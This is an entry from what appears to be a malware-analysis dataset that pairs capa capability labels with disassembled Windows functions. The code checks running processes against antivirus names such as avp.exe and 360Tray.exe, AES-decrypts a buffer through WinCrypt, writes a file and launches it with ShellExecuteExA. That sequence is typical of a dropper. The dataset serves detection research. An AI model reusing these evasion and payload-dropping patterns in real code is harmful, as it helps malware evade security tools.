joyce8/EMBER2024-capa huggingface dataset:
Function at 0x14000cd40
Capabilities:
Enumerate processes

Disassembly:
jmp 0x14000cd40
push rbp
push rdi
sub rsp, 0x418
lea rbp, [rsp + 0x20]
lea rdi, [rsp + 0x20]
mov ecx, 0x9e
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
lea rcx, [0x140211091]
call fcn.1400043a4
mov dword [rbp + 4], 0
lea rax, str.avp.exe
mov qword [rbp + 0x28], rax
lea rax, str.avpui.exe
mov qword [rbp + 0x30], rax
lea rax, str.360Tray.exe
mov qword [rbp + 0x38], rax
lea rax, str.360Safe.exe
mov qword [rbp + 0x40], rax
lea rax, str.ZhuDongFangYu.exe
mov qword [rbp + 0x48], rax
xor edx, edx
mov ecx, 2
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov qword [rbp + 0x68], rax
mov dword [rbp + 0x90], 0x130
lea rdx, [rbp + 0x90]
mov rcx, qword [rbp + 0x68]
call sub.KERNEL32.dll_Process32First
mov dword [rbp + 0x1d4], eax
cmp dword [rbp + 0x1d4], 0
je 0x14000ce82
lea rax, [rbp + 0x28]
mov qword [rbp + 0x1f8], rax
mov rax, qword [rbp + 0x1f8]
mov qword [rbp + 0x218], rax
mov rax, qword [rbp + 0x1f8]
add rax, 0x28
mov qword [rbp + 0x238], rax
jmp 0x14000ce26
mov rax, qword [rbp + 0x218]
add rax, 8
mov qword [rbp + 0x218], rax
mov rax, qword [rbp + 0x238]
cmp qword [rbp + 0x218], rax
je 0x14000ce67
mov rax, qword [rbp + 0x218]
mov rax, qword [rax]
mov qword [rbp + 0x258], rax
lea rdx, [rbp + 0xbc]
mov rcx, qword [rbp + 0x258]
call fcn.1400048ef
test eax, eax
jne 0x14000ce65
mov eax, 1
jmp 0x14000ce8f
jmp 0x14000ce14
lea rdx, [rbp + 0x90]
mov rcx, qword [rbp + 0x68]
call sub.KERNEL32.dll_Process32Next
mov dword [rbp + 0x1d4], eax
jmp 0x14000cdda
mov rcx, qword [rbp + 0x68]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [rbp + 4]
mov rdi, rax
lea rcx, [rbp - 0x20]
lea rdx, reloc.OLEAUT32.dll_SysReAllocString
call fcn.140003a44
mov rax, rdi
lea rsp, [rbp + 0x3f8]
pop rdi
pop rbp
ret
Function at 0x14000e4f0
Capabilities:
Create new key via cryptacquirecontext
Encrypt data using aes via winapi
Encrypt or decrypt via wincrypt
Hash data via wincrypt
Initialize hashing via wincrypt

Disassembly:
jmp 0x14000e4f0
mov qword [rsp + 0x18], r8
mov dword [rsp + 0x10], edx
mov qword [rsp + 8], rcx
push rbp
push rdi
sub rsp, 0x178
lea rbp, [rsp + 0x30]
lea rdi, [rsp + 0x30]
mov ecx, 0x22
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rcx, qword [rsp + 0x198]
lea rcx, [0x1402110d9]
call fcn.1400043a4
mov eax, dword [rbp + 0x168]
mov dword [rbp + 0x64], eax
mov dword [rsp + 0x20], 0xf0000000
mov r9d, 0x18
xor r8d, r8d
xor edx, edx
lea rcx, [rbp + 8]
call qword [sym.imp.ADVAPI32.dll_CryptAcquireContextA]
lea rax, [rbp + 0x28]
mov qword [rsp + 0x20], rax
xor r9d, r9d
xor r8d, r8d
mov edx, 0x800e
mov rcx, qword [rbp + 8]
call qword [sym.imp.ADVAPI32.dll_CryptCreateHash]
xor r9d, r9d
mov r8d, 0x20
mov rdx, qword [rbp + 0x170]
mov rcx, qword [rbp + 0x28]
call qword [sym.imp.ADVAPI32.dll_CryptHashData]
lea rax, [rbp + 0x48]
mov qword [rsp + 0x20], rax
xor r9d, r9d
mov r8, qword [rbp + 0x28]
mov edx, 0x6610
mov rcx, qword [rbp + 8]
call qword [sym.imp.ADVAPI32.dll_CryptDeriveKey]
lea rax, [rbp + 0x64]
mov qword [rsp + 0x28], rax
mov rax, qword [rbp + 0x160]
mov qword [rsp + 0x20], rax
xor r9d, r9d
mov r8d, 1
xor edx, edx
mov rcx, qword [rbp + 0x48]
call qword [sym.imp.ADVAPI32.dll_CryptDecrypt]
mov rcx, qword [rbp + 0x48]
call qword [sym.imp.ADVAPI32.dll_CryptDestroyKey]
mov rcx, qword [rbp + 0x28]
call qword [sym.imp.ADVAPI32.dll_CryptDestroyHash]
xor edx, edx
mov rcx, qword [rbp + 8]
call qword [sym.imp.ADVAPI32.dll_CryptReleaseContext]
lea rcx, [rbp - 0x30]
lea rdx, [0x140094400]
call fcn.140003a44
lea rsp, [rbp + 0x148]
pop rdi
pop rbp
ret

Function at 0x14000e880
Capabilities:
Write file on windows

Disassembly:
jmp 0x14000e880
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rbp
push rdi
sub rsp, 0x188
lea rbp, [rsp + 0x40]
lea rdi, [rsp + 0x40]
mov ecx, 0x22
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rcx, qword [rsp + 0x1a8]
lea rcx, [0x1402110d9]
call fcn.1400043a4
mov rcx, qword [rbp + 0x160]
call fcn.1400048bd
mov qword [rbp + 8], rax
mov rcx, qword [rbp + 0x160]
call fcn.140002775
xor edx, edx
mov ecx, 2
div rcx
mov qword [rbp + 0x28], rax
lea r8, str.1L2NRhWkcNKE7EwaZXQeLoBJHZOgU1gd
mov edx, dword [rbp + 0x28]
mov rcx, qword [rbp + 8]
call fcn.14000150f
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 4
xor r9d, r9d
mov r8d, 2
mov edx, 0xc0000000
mov rcx, qword [rbp + 0x168]
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov qword [rbp + 0x48], rax
mov qword [rsp + 0x20], 0
lea r9, [rbp + 0x64]
mov r8d, dword [rbp + 0x28]
mov rdx, qword [rbp + 8]
mov rcx, qword [rbp + 0x48]
call qword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
je 0x14000e966
mov rcx, qword [rbp + 0x48]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, 1
jmp 0x14000e972
mov rcx, qword [rbp + 0x48]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
mov rdi, rax
lea rcx, [rbp - 0x40]
lea rdx, [0x1400942a0]
call fcn.140003a44
mov rax, rdi
lea rsp, [rbp + 0x148]
pop rdi
pop rbp
ret
Function at 0x14000e9e0
Capabilities:
Create process on windows

Disassembly:
jmp 0x14000e9e0
mov qword [rsp + 8], rcx
push rbp
push rdi
sub rsp, 0x178
lea rbp, [rsp + 0x20]
lea rdi, [rsp + 0x20]
mov ecx, 0x26
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rcx, qword [rsp + 0x198]
lea rcx, [0x1402110d9]
call fcn.1400043a4
lea rax, [rbp + 0x10]
mov rdi, rax
xor eax, eax
mov ecx, 0x70
rep stosb byte [rdi], al
mov dword [rbp + 0x10], 0x70
mov rax, qword [rbp + 0x170]
mov qword [rbp + 0x28], rax
mov dword [rbp + 0x40], 5
lea rcx, [rbp + 0x10]
call qword [sym.imp.SHELL32.dll_ShellExecuteExA]
lea rcx, [rbp - 0x20]
lea rdx, [0x1400944a0]
call fcn.140003a44
lea rsp, [rbp + 0x158]
pop rdi
pop rbp
ret